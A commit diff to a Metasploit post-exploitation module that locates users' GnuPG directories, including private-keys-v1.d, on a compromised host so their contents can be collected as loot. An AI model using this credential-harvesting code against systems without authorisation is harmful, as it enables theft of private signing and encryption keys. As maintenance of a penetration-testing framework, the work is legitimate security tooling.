Fix file search

modules/post/multi/gather/gpg_creds.rb

@@ -28,24 +28,23 @@ class MetasploitModule < Msf::Post
   # This module is largely based on ssh_creds and firefox_creds.rb.
 
   def run
-    print_status("Finding .gnupg directories")
-    paths = enum_user_directories.map {|d| d + "/.gnupg"}
-    # Array#select! is only in 1.9
-    paths = paths.select { |d| directory?(d) }
+    paths = []
+    print_status('Finding GnuPG directories')
+    dirs = enum_user_directories
+    sub_dirs = ['private-keys-v1.d']
 
-    if paths.nil? || paths.empty?
-      print_error("No users found with a .gnupg directory")
-      return
+    dirs.each do |dir|
+      gnupg_dir = "#{dir}/.gnupg"
+      next unless directory?(gnupg_dir)
+      paths << gnupg_dir
+
+      sub_dirs.each do |sub_dir|
+        paths << "#{gnupg_dir}/#{sub_dir}" if directory?("#{gnupg_dir}/#{sub_dir}")
+      end
     end
 
-    download_loot(paths)
-
-    print_status("Finding .gnupg >= 2.1 directories")
-    paths = enum_user_directories.map {|d| d + "/.gnupg/private-keys-v1.d"}
-    paths = paths.select { |d| directory?(d) }
-
     if paths.nil? || paths.empty?
-      print_error("No users found with a .gnupg 2.1 directory")
+      print_error('No users found with a GnuPG directory')
       return
     end